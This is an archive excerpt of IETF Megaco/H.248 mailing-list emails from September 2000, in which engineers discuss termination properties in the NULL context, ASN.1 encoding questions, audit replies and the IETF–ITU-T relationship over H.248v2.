> > > > > > that we have two options do decide from
> > > > > >
> > > > > > Option 1
> > > > > > MGC when modifies termination properties in the NULL context,
> > > > > > changes the
> > > > > > default/ provisioned values.
> > > > > > These changes would be made to the package properties
> > > > > > associated with the
> > > > > > termination only.
> > > > > [PTT] No. We got rid of that in Geneva (I guess, based on Brian's detective
> > > > > work).  I may be fuzzy about exactly when, but I can tell you why: you could
> > > > > get nonsensical results.  In particular, events and signals set up in the
> > > > > NULL context BEFORE connecting the call would probably make no sense at all
> > > > > once the connection is dissolved.
> > > > >
> > > > > > If yes the following questions still remain unanswered:
> > > > > > Do we allow provisioning of the termination properties after
> > > > > > MGC modifies them
> > > > > > in the NULL context.?
> > > > > > If yes then how does MGC know about this asynchronous change
> > > > > > ? This is because
> > > > > > if MGC doesn't know about the change there is no sanctity of
> > > > > > the changes made by
> > > > > > the MGC. (One solution presented was that provisioning should
> > > > > > be followed by a
> > > > > > service change)
> > > > > >
> > > > > > Option 2
> > > > > > MGC when modifies termination properties in the NULL context,
> > > > > > changes the
> > > > > > default/ provisioned values only temporarily. When the
> > > > > > termination returns to
> > > > > > the NULL context, default/ provisioned values are restored.
> > > > > [PTT] That's how the document reads now.
> > > > >
> > > > > > If yes the following questions still remain unanswered:
> > > > > > Do we assume that MGC would audit the properties whenever it
> > > > > > establishes an
> > > > > > association with a MG and store a copy of the default/
> > > > > > provisioned values. And,
> > > > > > explicitly send modify for termination properties whenever it
> > > > > > needs to change
> > > > > > the termination property values.
> > > > > [PTT] That's a workable strategy.
> > > > >
> > > > > > Do we allow provisioning of the termination properties at run-time?
> > > > > > If yes then how does MGC know about this asynchronous change
> > > > > > ? This is because
> > > > > > if MGC doesn't know about the change there is no sanctity of
> > > > > > the audited values
> > > > > > stored by MGC. (One solution presented was that provisioning
> > > > > > should be followed
> > > > > > by a service change)
> > > > > [PTT] I think the service change would be a good idea.  We should look at
> > > > > putting this into the Implementor's Guide if it doesn't contradict anything
> > > > > already in the spec.
> > > > >
> > > > > >
> > > > > > Option 1 seems to be more appropriate, but the unanswered
> > > > > > questions need to be
> > > > > > appropriately addressed. We would like to have others views on this.
> > > > > >
> > > > > > -Kapil Nayar
> > > > > > Hughes Software Systems Ltd.
> > > > > >
> > > > > >...
> > > > > >
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
>
> --
> Flemming Andreasen
> Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 08:24:24 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13620
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 08:24:24 -0400 (EDT)
Received: from standards (47.234.32.16:3806) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95213@standards.nortelnetworks.com>; Tue, 19 Sep 2000 8:08:57 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15951 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 08:08:56 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB951EF@standards.nortelnetworks.com>; Tue, 19 Sep 2000 7:58:50
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8JCCNZ22728; Tue, 19 Sep 2000 14:12:23 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          OAA22809; Tue, 19 Sep 2000 14:12:22 +0200 (MET DST)
Received: from ericsson.com ([130.100.249.232]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id OAA07958; Tue, 19 Sep 2000
          14:12:17 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <6525695B.0014A100.00@sandesh.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C6737B.F8DDA639@ericsson.com>
Date:         Tue, 19 Sep 2000 06:56:43 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: ASN.1 doubts
X-To:         svkumar@HSS.HNS.COM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Shiv,

Please see clarifications marked CHG.

Cheers, Christian

Shiv Kumar wrote:
>
> Hi,
>
>  I have some doubts in Binary encoding regarding the following :
> [ I have taken into consideration the correction in the Implementation Guide
> that
>   the native tags can be used for Local Control also ]
>
> 1) Other than the SDP tags, how are the rest of the native tags used ?
>      Can someone clarify with an example ?
[CHG] Native tags are used as properties in local control/ local /
remote etc. They are encoded as Tag Length Value as BER encoding of
ASN1.

>      The local control property parm HAVE to be qualified by a Package and Item
> name.
>       How is it used w.r.t. native tags ?
[CHG] Native tags relate to properties in ASN1. ie.
packageID/propertyID=value. The native tags are allows preceeded by
package ID of 0. This is specified in the protocol.

>       What is the equivalent of the native tags in text encoding ?
[CHG] This depends on the parameter. Sometimes there is no mapping,
sometimes it maps to the SDP definition RFC sometimes it maps to other
drafts with SDP attributes.

>
> 2) In Property Parm, 'value' is described as a SEQUENCE of octet string and an
>      empty sequence means CHOOSE...which descriptor is this used with ?
[CHG] This is used with all descriptors that have asn1 ber encoded
properties.

>      Again, can I have a specific  example for local control desciptor ?
[CHG] You have a TAG, LENGTH and no value.

>
> There seem to be some other syntactic errors/mismatches in the ASN.1
> description.
>
> 1)
>
>    ActionReply ::= SEQUENCE    {
>      contextId               ContextID,
>       errorDescriptor         ErrorDescriptor OPTIONAL,
>       contextReply            ContextRequest OPTIONAL,
>       commandReply            SEQUENCE OF CommandReply
> }
>
>    Context Reply and command Reply should be grouped into a separate structure.
>    That structure should be part of a CHOICE between it and error descriptor.
>     Something like the following, perhaps.
>
> ActionReply ::= SEQUENCE    {
>      contextId               ContextID,
>      actionBody               CHOICE {
>                     errorDescriptor      ErrorDescriptor,
>           SEQUENCE               commandReplyList{
>                contextReply         ContextRequest OPTIONAL,
>                commandReply         SEQUENCE OF CommandReply
>           }
>      }
[CHG] Why? It works with the current ASN1.

>
> 2)  Priority in Context Request is mentioned as having a range of 0-15.
>      In ABNF, it is simply UINT16.
[CHG] In the main protocol document, you can only have 0-15 priorities
so if anything the ABNF needs to be updated to reflect this. I don't
think this is an issue though.

>
> 3) CommandRequest SEQUENCE  has 'wildcardReturn' as one of its parameters.
>      Shouldnt it be bound to Subtract and Audit commands only ?
[CHG] I don't think we need to bind this in the ASN1. The protocol gives
what is valid.

>
> 4) AuditReply SEQUENCE should not have 'termination Id' . It is part of
> auditOther only
>     and not of contextTermination  audit.
[CHG] I don't see this as a problem. Terminations are returned in either
case.

>
> 5) In NotifyReply, termination Id should be mandatory [ as in ABNF]
[CHG] No, you may get an error back that doesn't relate to anything. ie.
the MGC can't parse the terminationID. Then terminationID is valid in
that case. I thought the ABNF could cope with this.

>
> 6) OK, this is more significant.
>      The packages in Annex E have provided   binary Id at Parameter name level
> also.
>       Shouldnt  those binary Ids be used instead of Parameter Name ?
>       This is true for Event Parameter and SigParameter.
>      Also, only one Value is provided. Cant we have Relation and  Range/Sets ?
[CHG] Yes. All this can be done today.

>
> 7) The ServiceChangeResult in Service Change Reply should be optional.
[CHG] This is correct. It is covered in - ServiceChangeResParm.

>
> 8) The  DigitMapDescriptor and ServiceChangeResParm definition  leaves room to
> indicate
>      that you can send then without any parameters. Can it be bettered ?
[CHG] Is this a general question on the map mechanism?

>
> 9) Are Service Change Method and Reason mandatory ? If so, they should be
> specified
>     in the ABNF description also.
>
> Hoping for some clarifications.
> Regards
> Shiv


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 09:45:29 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15583
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 09:45:29 -0400 (EDT)
Received: from standards (47.234.32.16:3644) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB952D2@standards.nortelnetworks.com>; Tue, 19 Sep 2000 9:30:04 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16226 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 09:30:03 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB952D1@standards.nortelnetworks.com>; Tue, 19 Sep 2000
          9:30:03 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <R7NDC4JK>;
          Tue, 19 Sep 2000 16:42:58 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1255"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABCB@MAIL-IN>
Date:         Tue, 19 Sep 2000 16:42:53 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Properties in packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi

Can anyone tell me where the properties from the 'root' package should be
defined? the only one that has a specific definition is the
MaxTerminationsPerContext property. (In TerminationState).

Best regards

Nurit Shenhar
AudioCodes Ltd.
Direct: +972-3-539-4155
Tel:     +972-3-539-4000
Fax:    +972-3-539-4040
email:  nurit.shenhar@audiocodes.com

web:    <http://www.audiocodes.com>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 09:50:07 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15639
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 09:50:06 -0400 (EDT)
Received: from standards (47.234.32.16:3644) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB952F4@standards.nortelnetworks.com>; Tue, 19 Sep 2000 9:34:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16267 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 09:34:20 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB952F2@standards.nortelnetworks.com>; Tue, 19 Sep 2000 9:34:20
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA12637; Tue, 19 Sep 2000 09:47:24 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA03446; Tue, 19 Sep 2000 09:47:24 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBCHP9>; Tue, 19 Sep 2000 09:47:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6B8@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 19 Sep 2000 09:46:58 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: reply for audit value
X-To:         Satish Chowdhury <satishch@CHIPLOGIC.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

You get a "complete" response, including the terminationId.
This looks like multiple actions.
Something like

Context=1{AuditValue=termA{Packages{a,b}},
          AuditValue=termB{Packages{a,c}}}

Brian

> -----Original Message-----
> From: Satish Chowdhury [mailto:satishch@CHIPLOGIC.COM]
> Sent: Tuesday, September 19, 2000 2:52 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: reply for audit value
>
>
> Hi All,
>
>         Section 7.2.5 of the document contains the following text
> In audit value
>    "TerminationID may be specific or wildcarded. If the
> wildcard matches
>
>    more than one TerminationID, all possible matches are attempted,
>    with results reported for each one. ...."
>
>    "If a wildcarded  response is requested, only one command return is
> generated, with
>    the contents containing the union of the values of all Terminations
>    matching the wildcard."
>
>   My problem is w.r.t 1st statement . Neither  ASN.1 or ABNF specifies
> any way of sending the list of audit reply for the matched
> Terminations
> which will specify each terminationId and descriptors assoicated with
> it.
>
>     Is there a problem in syntax or am I missing something ?.
>
>  Thanks in advance,
>        Satish .
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 09:50:07 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA15642
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 09:50:07 -0400 (EDT)
Received: from standards (47.234.32.16:3644) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95306@standards.nortelnetworks.com>; Tue, 19 Sep 2000 9:36:12 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16291 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 09:36:11 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95305@standards.nortelnetworks.com>; Tue, 19 Sep 2000 9:36:11
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA12885; Tue, 19 Sep 2000 09:49:51 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id JAA04222; Tue, 19 Sep 2000 09:49:51 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBCHTM>; Tue, 19 Sep 2000 09:49:45 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1252"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6B9@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 19 Sep 2000 09:49:24 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Properties in packages
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Root has packages implemented on it, which define the properties.
In Annex E, there is only one package defined on root, which has one
property.
It's possible (likely) that additional packages will be defined that add
properties to root, if implemented on a particular gateway.

Brian

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Tuesday, September 19, 2000 10:43 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Properties in packages
>
>
> Hi
>
> Can anyone tell me where the properties from the 'root'
> package should be
> defined? the only one that has a specific definition is the
> MaxTerminationsPerContext property. (In TerminationState).
>
> Best regards
>
> Nurit Shenhar
> AudioCodes Ltd.
> Direct: +972-3-539-4155
> Tel:     +972-3-539-4000
> Fax:    +972-3-539-4040
> email:  nurit.shenhar@audiocodes.com
>
> web:    <http://www.audiocodes.com>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 10:58:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16939
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 10:58:22 -0400 (EDT)
Received: from standards (47.234.32.16:1167) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9538B@standards.nortelnetworks.com>; Tue, 19 Sep 2000 10:42:50 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16444 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 10:42:45 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB9538A@standards.nortelnetworks.com>; Tue, 19 Sep 2000 10:42:45
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id HAA22676; Tue, 19 Sep 2000 07:55:45 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com> <39C03FBC.A1E17DDF@cisco.com>
            <39C05E5F.674A9443@ericsson.com> <39C57459.13409C67@cisco.com>
            <39C66D0C.25CEB48E@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C77F83.2D3D3E5B@cisco.com>
Date:         Tue, 19 Sep 2000 11:00:19 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: H.248v2 [was Re: Can MGC modify term in NULL Context ?]
X-To:         Christian Groves <Christian.Groves@ericsson.com>,
              Tom-PT Taylor <taylor@nortelnetworks.com>,
              Scott Bradner <sob@HARVARD.EDU>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Christian Groves wrote:

> G'Day Flemming,
>
> No there will be one protocol(H.248, Megaco) with 2 versions. Version 2
> following version 1. Version 2 work is just starting and will go
> probably for another year thus giving "the ink" plenty of time to dry
> before we have version 2 ready. No body has been from giving input to
> this work.

I'm having a hard time following this logic. As we gain experience with v1, the IETF
presumably will want to advance it to Draft and Internet standard, yet meanwhile the ITU
will work on a successor, without the involvement of the IETF. Thus, for all practical
purposes, you have just declared the joint v1 protocol an interim ITU-T solution as they
move along on their own with v2. Maybe our WG chair or AD can clarify what the point with
the cooperation was and where that leaves Megaco v1 as compared to H.248v2 ?

Thanks

        Flemming


>
>
> Regards, Christian
>
> Flemming Andreasen wrote:
> >
> > The ink is barely dry on v1 and we all went through tremendous efforts to ensure that
> > the IETF and ITU-T would develop a single protocol. Am I to understand it was a wasted
> > effort as there now will be two protocols after all ? Where does this leave Megaco ?
> >
> > -- Flemming
> >
> > Christian Groves wrote:
> >
> > > G'Day Flemming,
> > >
> > > Its the version after H.248v1 and SG16 are working on it.
> > >
> > > Cheers, Christian
> > >
> > > Flemming Andreasen wrote:
> > > >
> > > > Question for clarification here:
> > > >
> > > > Exactly what is H.248v2 and who is working on it ?
> > > >
> > > > -- Flemming
> > > >

<snip>

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 13:22:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20859
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 13:22:34 -0400 (EDT)
Received: from standards (47.234.32.16:2150) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95449@standards.nortelnetworks.com>; Tue, 19 Sep 2000 13:06:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 16684 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 13:06:58 -0400
Received: from qhars002.nortel.com (47.101.112.102:52079) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95448@standards.nortelnetworks.com>; Tue, 19 Sep 2000
          13:06:58 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Tue, 19 Sep 2000 18:19:36 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Tue, 19 Sep 2000 11:59:57 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S9KMN8FA>; Tue, 19 Sep 2000 11:59:49 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0225A.A373F320"
Message-ID:  <28560036253BD41191A10000F8BCBD11480DAA@zcard00g.ca.nortel.com>
Date:         Tue, 19 Sep 2000 11:57:05 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: H.248v2 [was Re: Can MGC modify term in NULL Context ?]
X-To:         Flemming Andreasen <fandreas@cisco.com>,
              Christian Groves <Christian.Groves@ericsson.com>,
              Scott Bradner <sob@HARVARD.EDU>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0225A.A373F320
Content-Type: text/plain;
        charset="iso-8859-1"

The first point to make clear is that ITU-T "versions" are always supposed
to be backwards compatible.  From the IETF point of view, the deltas
contained in ITU-T versions correspond to extensions, clarifications, and
bug fixes to the basic protocol.

The second point is that the plan I always had in mind was that the IETF
would continue its partnership with the ITU-T.  The most obvious approach
would be to keep Megaco alive and have a continuing Megaco/SG 16
relationship.  Alternatively, with some loss of clout at the ITU-T level, we
can keep the channels of communication open on the list.  This would amount
to making the Megaco list an extension of ITU-T process.

What is fairly clear is that keeping in synch with the ITU-T is mutually
exclusive to following through on IETF process.  The ITU-T does not have the
concept of discarding of unimplemented features.  Of course, we could put a
more favourable spin on the subject by agreeing that the IETF Draft Standard
would represent a subset of the ITU-T standard.  Thus in ITU-T eyes it would
have a status similar to that of an interoperability agreement.

Tom Taylor

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Tuesday, September 19, 2000 11:00 AM
> To: Christian Groves; Taylor, Tom-PT [NORSE:B901:EXCH]; Scott Bradner
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: H.248v2 [was Re: Can MGC modify term in NULL Context ?]
>
>
>
>
> Christian Groves wrote:
>
> > G'Day Flemming,
> >
> > No there will be one protocol(H.248, Megaco) with 2
> versions. Version 2
> > following version 1. Version 2 work is just starting and will go
> > probably for another year thus giving "the ink" plenty of
> time to dry
> > before we have version 2 ready. No body has been from
> giving input to
> > this work.
>
> I'm having a hard time following this logic. As we gain
> experience with v1, the IETF
> presumably will want to advance it to Draft and Internet
> standard, yet meanwhile the ITU
> will work on a successor, without the involvement of the
> IETF. Thus, for all practical
> purposes, you have just declared the joint v1 protocol an
> interim ITU-T solution as they
> move along on their own with v2. Maybe our WG chair or AD can
> clarify what the point with
> the cooperation was and where that leaves Megaco v1 as
> compared to H.248v2 ?
>
> Thanks
>
>         Flemming
>
>
> >
> >
> > Regards, Christian
> >
> > Flemming Andreasen wrote:
> > >
> > > The ink is barely dry on v1 and we all went through
> tremendous efforts to ensure that
> > > the IETF and ITU-T would develop a single protocol. Am I
> to understand it was a wasted
> > > effort as there now will be two protocols after all ?
> Where does this leave Megaco ?
> > >
> > > -- Flemming
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day Flemming,
> > > >
> > > > Its the version after H.248v1 and SG16 are working on it.
> > > >
> > > > Cheers, Christian
> > > >
> > > > Flemming Andreasen wrote:
> > > > >
> > > > > Question for clarification here:
> > > > >
> > > > > Exactly what is H.248v2 and who is working on it ?
> > > > >
> > > > > -- Flemming
> > > > >
>
> <snip>
>
> --
> Flemming Andreasen
> Cisco Systems
>
>
>

------_=_NextPart_001_01C0225A.A373F320
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: H.248v2 [was Re: Can MGC modify term in NULL Context =
?]</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>The first point to make clear is that ITU-T =
&quot;versions&quot; are always supposed to be backwards =
compatible.&nbsp; From the IETF point of view, the deltas contained in =
ITU-T versions correspond to extensions, clarifications, and bug fixes =
to the basic protocol.</FONT></P>

<P><FONT SIZE=3D2>The second point is that the plan I always had in =
mind was that the IETF would continue its partnership with the =
ITU-T.&nbsp; The most obvious approach would be to keep Megaco alive =
and have a continuing Megaco/SG 16 relationship.&nbsp; Alternatively, =
with some loss of clout at the ITU-T level, we can keep the channels of =
communication open on the list.&nbsp; This would amount to making the =
Megaco list an extension of ITU-T process.</FONT></P>

<P><FONT SIZE=3D2>What is fairly clear is that keeping in synch with =
the ITU-T is mutually exclusive to following through on IETF =
process.&nbsp; The ITU-T does not have the concept of discarding of =
unimplemented features.&nbsp; Of course, we could put a more favourable =
spin on the subject by agreeing that the IETF Draft Standard would =
represent a subset of the ITU-T standard.&nbsp; Thus in ITU-T eyes it =
would have a status similar to that of an interoperability agreement. =
</FONT></P>

<P><FONT SIZE=3D2>Tom Taylor</FONT>
</P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, September 19, 2000 11:00 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: Christian Groves; Taylor, Tom-PT =
[NORSE:B901:EXCH]; Scott Bradner</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: H.248v2 [was Re: Can MGC modify =
term in NULL Context ?]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Christian Groves wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; G'Day Flemming,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; No there will be one protocol(H.248, =
Megaco) with 2 </FONT>
<BR><FONT SIZE=3D2>&gt; versions. Version 2</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; following version 1. Version 2 work is =
just starting and will go</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; probably for another year thus giving =
&quot;the ink&quot; plenty of </FONT>
<BR><FONT SIZE=3D2>&gt; time to dry</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; before we have version 2 ready. No body =
has been from </FONT>
<BR><FONT SIZE=3D2>&gt; giving input to</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; this work.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I'm having a hard time following this logic. As =
we gain </FONT>
<BR><FONT SIZE=3D2>&gt; experience with v1, the IETF</FONT>
<BR><FONT SIZE=3D2>&gt; presumably will want to advance it to Draft and =
Internet </FONT>
<BR><FONT SIZE=3D2>&gt; standard, yet meanwhile the ITU</FONT>
<BR><FONT SIZE=3D2>&gt; will work on a successor, without the =
involvement of the </FONT>
<BR><FONT SIZE=3D2>&gt; IETF. Thus, for all practical</FONT>
<BR><FONT SIZE=3D2>&gt; purposes, you have just declared the joint v1 =
protocol an </FONT>
